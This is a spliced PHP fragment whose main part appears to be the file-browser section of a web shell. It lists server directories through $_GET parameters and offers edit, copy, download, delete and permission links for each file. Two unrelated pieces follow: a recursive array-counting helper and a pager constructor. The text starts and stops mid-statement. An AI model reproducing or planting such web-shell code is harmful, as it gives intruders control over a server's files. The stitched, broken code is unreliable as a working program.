} if (isset($_GET['file_browser'])) { for ($i = 0; $i < 4; $i++) { if (preg_match("/" . $file_tps["img"][$i] . "/i", $extn)) { echo "<center><table border=\"1\" rules=\"groups\">\n <thead>\n <tr><td>"; echo "<a href=" . $surl . "?&" . $word . "&file_browser&file=" . urlencode($filename) . "&img><img src='" . urldecode($surl) . "?&" . $word . "&file=" . urldecode($filename) . "&img' height= width= border=0><br>"; exit; } } if (@filetype($j_f) == "file") { echo "<center><table border=\"1\" rules=\"groups\" \n <thead>\n <tr><td>"; highlight_file($j_f); exit; } echo "<center><table border=\"1\" rules=\"groups\">\n <thead>\n <tr>\n\n <th></th><td>"; count_all($j_d); echo "</tr>"; echo "<center><table border=\"1\" rules=\"groups\">\n <thead>\n <tr>\n <th>Filename</th><th>Edit</th><th>Copy</th><th>Download</th><th>Delete<th>Perms</th><th>Access</th> "; $o_d = opendir($j_d); while (false !== ($file = readdir($o_d))) { echo " <tbody>\n\n <tr>\n <td>"; if (@filetype($j_d . "/" . $file) == "dir") { echo "</a><img src=" . $surl . "?&" . $word . "&dir&pic=dir height=12 width=><a href=" . $surl . "&" . $word . "&&file_browser&file=" . urlencode($j_d) . "/" . urlencode($file) . ">[" . $file . "]"; } else { echo "<img src=" . $surl . "?&" . $word . "&dir&pic=ext_wri height=9 width=><a href=" . $surl . "&" . $word . "&&file_browser&file=" . urlencode($j_d) . "/" . urlencode($file) . ">"; echo $file; } echo "<br></a></td><td><a href=" . $surl . "&" . $word . "&edit&file_browser&file=" . urlencode($j_d) . "/" . urlencode($file) . ">"; if (@filetype($j_d . "/" . $file) == "file") { echo "<center>[Edit]"; } else {
/** * Recursively count all non-empty elements * in array of any dimension or mixed - i.e. * array('1' => 2, '2' => array('1' => 3, '2' => 4)) * See http://www.php.net/manual/en/function.count.php */ function count_all($arg) { // skip if argument is empty if ($arg) { //print_r($arg); //debugging $count = 0; // not an array, return 1 (base case) if (!is_array($arg)) { return 1; } // else call recursively for all elements $arg foreach ($arg as $key => $val) { $count += count_all($val); } return $count; } }
function __construct($o) { $this->options = array('mode' => 'Jumping', 'perPage' => $o->paging_options['per_page'], 'urlVar' => 'page', 'append' => true, 'totalItems' => count_all($o)); $this->pager = Pager::factory($this->options); }